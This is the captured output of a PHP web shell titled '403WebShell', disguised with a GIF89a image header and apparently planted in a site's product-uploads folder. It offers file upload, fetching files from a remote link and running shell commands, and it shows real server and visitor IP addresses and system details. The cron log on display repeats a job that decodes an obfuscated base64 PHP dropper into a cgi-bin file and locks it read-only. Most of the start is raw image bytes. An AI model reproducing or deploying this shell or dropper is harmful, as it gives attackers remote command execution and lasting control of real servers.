GIF89a=
( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F�                                                                           !�

 ' !�NETSCAPE2.0
   ,    =
(  ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E
��
�����R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ
|��٭&��E8�S�kG�A�px�a���R2XB��E
8I���6X�:vT)�~��q�賥��"F~%x� �
4#Z�0O|-4Bs�X:=
Q� Sal��yXJ`GȦ|sh��K3l7�B|�$'7Jީܪ0!��D�n=�P�����0`�R�lj����v>���5
�.69�ϸd�����nlv�9��f{���Pbx�l5}�p�����3a���I�O����!ܾ���i��9��#��)p�a ޽	�{�)vm��%D~6f��s}Œ�D�W E�`!�	�&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5!_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�}	lď��@4>�d
S �v�xN��"@~d��=�g�s~G������ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`��	�.۬�
t9�S�[:��=`9N����{¿�A !R�:���6��
x�0�_ 
�;������^���#����!����U���;0L1�����p%A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5����^`8E�]
�.�S���7 � �0�j S�D� 
z���i�S�����!���l��w9*�D�I�nEX���	&A
�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�
x}`��xJЬ�۠��p+eE0`�}`A�/NE�� �9@���	H�7�!%B0`�
l*��
!8 2�%� �:�1�0E��ux%
nP1�!�C)�P81l�ɸF#Ƭ{����B0>��
�b�`��O3��()yRpb��E.ZD8�H@%�Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j�QT�
o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3	�tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$  !�

 " ,    =
( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K�                                                                                          �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g
 �� E 
��
�������E
�´��C��
�Ƕ
R��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C�	l&�~:'�tU�6ɹ#��)�'�.6�&��ȻK(8p0N�?!�2"��NIJX>R��OM	'��2�*x�>#n� 
�@<[:�I�f ��T���Cdb��[�}E�5MBo�
�@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N
E���`$�:e�YD�q�.�촁�s \-�jA9�����-��M[�x(�s��x�|���p�
�}k�T�DpE@W�	��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0
�h�*HS�|��e"#"?vp�i`e6^�+q��`m8  #V�� <F��C"�^F9�#��RAGb�d(0$k��~�'L�)B�]���e`>��VS|`��"m"сSn|@
:U���~`pb�G�ED����2F�I�?
>�x�
R�
��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#��
Q��S���2�X�{�k�
lQ�2�����w�|2�h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS���	qܧTS����R�u �<�a�*At�lmE�
���N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D�	0QwG#�
�a[^��	$���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�<O��!9S{�E �{�V����C�{��go���'��zEH�rJ�=�5���鲥���4���дV	w���$xVA.�+��'�E�E ^~!��"�84`K>L���S`��0S]P�^p	F<""�?!,�!N4&P� ����:T�@h�9%t��:�-
~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q	q
 �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/
&.GXB%�R�9B6�W]���W�I�$��9�RE8Y�	��"�A5�Q.axB�&ة�J�!	�t)K%tS-�JF
b�NMxL��)�R��"���6O!TH�H�	0   !�

 ) ,    =
( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h�                                                                     ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g ��

E$�����
�
����$E$��"��D� � ������R��C��� E��H�M��G�D��B��ϾD��a��`1r��Ӑ��	�o~�zU!L�C'�yW�UGt����ll�
0���uG�)A�s[��x�
�xO%��X2�

P�n:R/��aHae+�Dm?#ǣ6�8�J�x�Di�M���j���5oQ7�-
<!
*�l��R2r/a!l)d� A"�E���� &�;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e�
w�u3��Pv�h""�`�Íx�LĹ��3��~ֺ�:���MDfJ�
�
۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d�C�W)H�cC$�L 
�7r.�\{)@�`@	�X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�
P
&d����T���i�|�
_

� Qi�#�`g:��:noM�
:V
�)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, 
\j۴:6���C
��W��|��9���zĸV {�;��n��V�m�I��.��PN�
����C��+��By�ѾHŸ:���
7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*
3)O��[_hv,���Etx�BH��[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g:
���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b����
�{�C��"�{�K ��w��Ozdը�:$ ���v�]	A#� ���a�z)
Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa
��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ
��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF�[�+9���-�wj���8�r�
,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK��#
�D�:�c?:R	Ӭf��I-�"�<�="��7�3S��c2RW	,
�8(T"P0F¡Jh�"  ;


<!doctypehtml><html><head><title>403WebShell</title><meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><font face="Bungee" size="5">403Webshell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Server IP : <font color=#df5>173.249.157.85</font> &nbsp;/&nbsp; Your IP : <font color=#df5>216.73.216.54</font><br>Web Server : <font color='#df5'>Apache</font><br>System : <font color='#df5'>Linux server.frogzhost.com 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64</font><br>User : <font color='#df5'>econtech&nbsp;</font>( <font color='#df5'>1005</font>)<br>PHP Version : <font color='#df5'>7.3.33</font><br>Disable Function : <font color='#df5'>NONE</font></font><br>MySQL : <font color=red>OFF</font> &nbsp;|&nbsp; cURL : <font color=red>OFF</font> &nbsp;|&nbsp; WGET : <font color=green>ON</font> &nbsp;|&nbsp; Perl : <font color=green>ON</font> &nbsp;|&nbsp; Python : <font color=green>ON</font> &nbsp;|&nbsp; Sudo : <font color=green>ON</font> &nbsp;|&nbsp; Pkexec : <font color=green>ON</font><br>Directory : &nbsp;<a href="?loknya=/">/</a><a href="?loknya=/var">var</a>/<a href="?loknya=/var/log">log</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='red'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='green'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://linuxploit.com/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="kerang.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form><br><form method="post" enctype="application/x-www-form-urlencoded">
Command : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="">
<input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
</form></table><br><hr><center style="font-family: Russo One">[ <a href='/uploads/products/1742318460403.php'>Back</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<hr></center><br><tr><td>Current File : /var/log/cron-20251116</tr></td></table><br/><pre>Nov  9 03:07:03 server run-parts(/etc/cron.daily)[19918]: finished logrotate
Nov  9 03:07:03 server run-parts(/etc/cron.daily)[19828]: starting maldet
Nov  9 03:08:01 server CROND[20766]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:09:01 server CROND[21687]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 03:09:01 server CROND[21688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:10:01 server CROND[22516]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 03:10:01 server CROND[22519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:10:01 server CROND[22518]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:10:01 server CROND[22521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:10:24 server run-parts(/etc/cron.daily)[23136]: finished maldet
Nov  9 03:10:24 server run-parts(/etc/cron.daily)[19828]: starting man-db.cron
Nov  9 03:10:24 server run-parts(/etc/cron.daily)[23220]: finished man-db.cron
Nov  9 03:10:24 server anacron[15098]: Job `cron.daily' terminated (produced output)
Nov  9 03:10:26 server anacron[15098]: Normal exit (1 job run)
Nov  9 03:11:01 server CROND[24812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:12:01 server CROND[25112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:12:01 server CROND[25113]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 03:13:01 server CROND[25929]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:14:01 server CROND[26840]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:15:01 server CROND[27725]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:15:01 server CROND[27727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:15:01 server CROND[27728]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
